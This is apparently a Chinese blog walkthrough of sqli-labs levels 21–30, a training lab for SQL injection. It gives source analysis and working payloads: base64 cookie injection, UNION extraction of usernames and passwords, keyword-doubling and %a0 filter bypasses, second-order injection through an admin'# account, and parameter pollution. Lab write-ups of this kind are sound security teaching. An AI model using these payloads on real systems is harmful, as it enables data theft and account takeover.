sqli-labs(21-30)

人过留名,雁过留声
人生天地间,凡有大动静处
必有猪头

前言

从 Less 18 开始修改 HTTP 头部信息的操作在 Firefox 浏览器的开发者工具也可以做。
在这里插入图片描述
在这里插入图片描述

环境准备

sublime(代码编辑器)
Firefox

Less 21

① 源码分析

用户输入被 check_input() 函数过滤
输入正常则产生cookie,并base64编码
获取cookie并进行数据库查询

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

② 漏洞利用

cookie 没有被过滤,可以利用
直接在 cookie 处构造 payload 进行注入
cookie 参数进行单引号+括号闭合
注意 cookie 先进行 base64 编码
  1. 提交正确的账号登录,发现 cookie 被 base64 编码
    在这里插入图片描述
  2. 构造 payload ,可以看到有数据回显位
uname = ') union select 1,2,3 #
uname = JykgdW5pb24gc2VsZWN0IDEsMiwzICM=

使用 Hack bar 自带的 base64 编码器编码
在这里插入图片描述
在这里插入图片描述

Less 22

① 源码分析

用户输入被 check_input() 过滤
直接获取 cookie,base64 解码,双引号引用,拼接 sql 语句进行数据库查询并返回数据

在这里插入图片描述
在这里插入图片描述

② 漏洞利用

随便数据用户参数
构造 cookie,双引号闭合,base64 编码之后进行注入

查看数据回显

uname = " union select 1,2,3 # 
uname = IiB1bmlvbiBzZWxlY3QgMSwyLDMgIw==

在这里插入图片描述

Less 23

① 源码分析

get 注入
注释符"#" , "--" 被转义
参数单引号引用
有数据回显

在这里插入图片描述

② 漏洞利用

闭合单引号

1. 布尔注入判断第一步,有正常回显

?id= 1' and '1'='1  

在这里插入图片描述

2. 布尔注入判断第二步,信息不回显

?id= 1' and '1'='2

在这里插入图片描述

3. union 注入

3.1 查看数据回显

?id= ' union select 1,2,3  '

在这里插入图片描述

Less 24

① 源码分析

在登录界面登录之后数据传送到 login.php 处理
login.php 使用mysql_real_escape_string对参数中可能存在的特殊字符前添加反斜杠
传参正确后页面会重定向到 login_in.php 页面,该页面用于修改账号密码
输入要修改的密码之后页面会跳转到 pass_change.php 页面进行数据库的密码更新
login_create.php 用于创建一个新用户,并将新用户信息插入数据库中
  1. login.php
    在这里插入图片描述
  2. pass_change.php
    在这里插入图片描述
  3. login_create.php
    在这里插入图片描述

② 漏洞利用

漏洞点出现在 login_create.php 上
虽然有使用 mysql_escape_string() 在特殊字符前面添加一个反斜杠,但是在写入数
据库的时候反斜杠又被去除了
  1. 创建一个用户名为 admin’# 的账号
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  2. 使用 admin’# 进行登录,登录成功后修改密码,在 pass_change.php 的update 更新语句中相当于对管理员的账号 admin 进行修改密码。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  3. 用管理员的账号进行登录
    在这里插入图片描述

Less 25

① 源码分析

输入参数被过滤(这里的正则不区分大小写)
单引号引用
有数据回显

在这里插入图片描述
在这里插入图片描述

② 漏洞利用

双写关键字绕过
闭合单引号
注释符要转换为URL编码 %23
  1. 数据回显
?id=0' union select 1,2,3 %23

在这里插入图片描述
2. 数据库信息

?id=0' union select 1,database(),version() %23

在这里插入图片描述
3. 爆表(ps:information 中的 or 字符会被过滤,所以也需要双写)

?id=0' union select 1,database(),(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security') %23

在这里插入图片描述
4. 爆列,爆数据就不赘述了。

Less 25a

源码分析

和 Less 25 一样的配方,只不过 SQL 语句在拼接参数的时候没有对参数进行单引号引用。

Less 26

将以下的字符转义为空:
or
and 
注释符:/**/--,#
空格
反斜杠

在这里插入图片描述

② 漏洞利用

关键字双写绕过
闭合单引号代替注释符
%a0 代替空格

1. 布尔注入判断

?id=1' %a0 aandnd %a0 '1'='1

在这里插入图片描述

2. 布尔注入判断

?id=1' %a0 aandnd %a0 '1'='2

在这里插入图片描述

3. union 注入

3.1 数字回显

?id=0' %a0 union %a0 select %a0 1,2,3 %a0 '

在这里插入图片描述
3.2 数据库信息

?id=0' %a0 union %a0 select %a0 1,database(),version() %a0 '

在这里插入图片描述
3.3 爆表(ps:information --> infoorrmation )

?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(table_name) %a0 from %a0 infoorrmation_schema.tables %a0 where %a0 table_schema='security') %a0 '

在这里插入图片描述
3.4 爆列(ps:information --> infoorrmation ; and --> aandnd)

?id=0' %a0 union %a0 select %a0 1,database(),(select %a0 group_concat(column_name) %a0 from %a0 infoorrmation_schema.columns %a0 where %a0 table_schema='security' %a0 aandnd %a0 table_name='users') %a0 '

在这里插入图片描述
3.5 爆数据(ps:information --> infoorrmation ; password --> passwoorrd)

?id=0' %a0 union %a0 select %a0 1,(select %a0 group_concat(passwoorrd) %a0 from %a0 security.users),(select %a0 group_concat(username) %a0 from %a0 security.users) %a0 '

在这里插入图片描述

Less 26a

① 源码分析

参数被过滤
单引号+括号引用参数

在这里插入图片描述

② 漏洞利用

单引号+括号闭合
其余步骤可参考 Less25

union 注入(数字回显)

?id= 0') %a0 union %a0 select %a0 1,2,3 %a0 aandnd %a0 ('1')=('1  

在这里插入图片描述

Less 27

① 源码分析

参数被单引号引用
被过滤的字符串有:
/**/
--
#
空格
unionselect(区分大小写)

在这里插入图片描述

② 漏洞利用

过滤的关键字可以用大小写/双写绕过
%a0代替空格
单引号闭合

union注入(数字回显)

?id= 0' %a0 UNion %a0 SElect %a0 1,2,3 %a0 '

在这里插入图片描述

Less 27a

源码分析

和 Less 27 的差不多,就是参数使用双引号引用,注意双引号闭合即可。

union 注入(数字回显)

?id= 0" %a0 UNion %a0 SElect %a0 1,2,3 %a0 "

在这里插入图片描述

Less 28

① 源码分析

。。。
单引号+括号引用参数
此番过滤的字符串更少

在这里插入图片描述

② 漏洞利用

注意单引号+括号闭合
剩余思路可以参考 Less26a

Less 28a

啊啊啊。。。。。。

在这里插入图片描述

Less 29

① 源码分析

index.php
这是一个普通 SQL 注入漏洞网页

在这里插入图片描述

login.php
该网页意在模拟两层服务器对参数的处理
参数先经过最外层的 tomcat 服务器处理(Java_implimenttation()和whitelist())
之后将处理后的参数传递给 apache 服务器处理($id = $_GET['id']

在这里插入图片描述

whitelist()
该函数意在使用正则表达式过滤除了数字之外的字符

在这里插入图片描述

java_implimentation()
该函数意为截取参数的第一个id值

在这里插入图片描述

② 漏洞利用

构造两个 id 值,用 & 连接
第一个为数字,第二个构造 payload 进行注入
注释符使用 URL 编码 %23

1. 当直接构造 payload 进行注入时

login.php?id= 0' union select 1,2,3 #

在这里插入图片描述

2. 使用两个 id 注入

login.php?id=1&id= 0' union select 1,2,3 %23

在这里插入图片描述

Less 30

源码分析

和 Less 29 一样,就是参数由双引号引用,注入时注意双引号闭合即可

                                                                                                                                  猪头
                                                                                                                            2020.1.21
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值